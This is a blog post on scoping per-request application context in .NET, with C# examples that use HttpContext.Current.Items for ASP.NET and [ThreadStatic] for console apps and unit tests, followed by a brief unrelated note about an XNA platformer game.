I started off by looking at (ie. Reflectoring) how the enigmatic HttpContext.Current works. Turns out there’s a lot of magic going on under the hood there with the web hosting framework and further .net remoting. In the end, looks like there are two simple ways to solve this problem:

• [ThreadStatic] attribute lets you have an instance of your static *per* thread.
• HttpContext.Current.Items, only usable in the context of asp.net obviously, but correctly manages your scope for the lifetime of the request.

As hanselman puts it:

Today’s lesson learned:the [ThreadStatic] attribute is only useful when YOU control the ThreadPool (and the lifecycle of the threads).

So it seems that in order to solve the problem we need to adapt our strategy.  If our app is running in a local client (ie. stateful), we can either use the threadstatic attribute, or nothing at all if we don’t plan on doing complex multithreading.  However, if we are executing our application’s code in an asp.net app, we need to use HttpContext.Current.Items.  Armed with this knowledge, we could have a small initialization step that lets you set up the strategy for how to manage session information. So in the app_start method of the global asax, we can do something like:

AppContext.SetEnvironment(new AppEnvironment());

Thus, in ASP.NET you have an implementation that can know how to provide the proper scoping for that hosting environment. AppContext is defined as:

public interface IAppEnvironment
{
    public AppContext Current { get; set; }
}
public class AppContext
{
    // instance data
    public IDatabase Database { get; set; }

    // static lifecycl
    private static IAppEnvironment environment;

    public static void SetEnvironment(IAppEnvironment env) { environment = env; }

    public static AppContext Current
    {
        get { return environment.Current; }
        set { environment.Current = value; }
    }
}

The instance data can be whatever you want … in the case of a data-driven app, it can maintain a request level database connection and whatever other information we need to refer to (which you can easily do by just saying “AppContext.Current.Database”). The static “Current” property that everyone would use simply defers to the environment implementation. Below are two implementations of the IAppEnvironment that you can use from ASP.NET and a custom one that you can use in a console app, or unit test.

public class WebEnvironment : IAppEnvironment
{
    public AppContext Current
    {
        get { return HttpContext.Current.Items["appcontext"] as AppContext; }
        set { HttpContext.Current.Items["appcontext"] = value; }
    }
}

public class CustomEnvironment : IAppEnvironment
{
    [ThreadStatic]
    private static AppContext context;

    public AppContext Current
    {
        get { return context; }
        set { context = value; }
    }
}

The CustomEnvironment implementation above just uses the simple thread static attribute since it’s assuming that you will be managing the hosting environment (threading and all) … where in the WebEnvironment, you can defer to the httpcontext stuff since that is handled for you.

Techniques such as these let you focus on your application, while limiting the amount of time that you have to spend worrying complexities of adapting your application to run in a web application.

I’ve been working on a game in XNA for a little while. The premise is of a stick figure cartoon character, running through a comic book. It’s based off of the Platformer sample. I’ll have it released at the end of November ‘09. Untill then below is a little, and early, video of the first level.